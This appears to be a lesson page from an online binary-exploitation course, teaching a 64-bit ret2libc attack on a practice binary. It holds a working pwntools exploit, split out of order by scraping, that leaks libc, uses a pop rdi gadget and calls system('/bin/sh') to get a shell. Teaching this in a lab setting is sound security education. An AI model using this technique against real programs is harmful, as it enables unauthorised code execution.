Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. ret2libc-64
2 min read

Ret2libc (x64)

This binary is similar to the last one, so we'll reuse most of the same techniques. This time, we'll need a way to pass the /bin/sh address into rdi, which will require a gadget.

Getting our Gadget

We'll do this the same way that we did it in the ROP chapter. We use ROPgadget or ropper to search for a gadget that will pop the top of the stack into rdi:

$ ropper -f chall --search "pop rdi"[INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%[INFO] Searching for gadgets: pop rdi[INFO] File: chall0x00000000004011db: pop rdi; ret;

This is perfect. We'll use this gadget to pop the address of /bin/sh into rdi before calling system().

Writing the Exploit

This binary is nearly identical to the last one. We are provided the address of system(), so we can just use that directly. Checking read_in, we'll notice that it takes 40 bytes to reach the return pointer.

This is everything we need to write the exploit:

python
1from pwn import *
2
3elf = context.binary = ELF('./chall')
4libc =

Running this gets our flag:

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 41213[+] LIBC base: 0x7f8c3a2e1000[*] Switching to interactive mode$ cat flag.txtIFC{PL4C3H0LD3R_FL4G_H3R3!}

We beat ASLR in 64-bit, which was no different than in 32-bit. The only difference is that we had to use 64-bit gadgets and addresses.

elf
.
libc
5p = process()
6
7p.recvuntil(b'at: ')
8leak = int(p.recvline(), 16)
9libc.address = leak - libc.sym.system
10log.success(f'LIBC base: {hex(libc.address)}')
11
12g_popRdi = 0x4011db
13
14payload = b'A' * 40
15payload += p64(g_popRdi)
16payload += p64(next(libc.search(b'/bin/sh')))
17payload += p64(libc.sym.system)
18
19p.sendline(payload)
20p.interactive()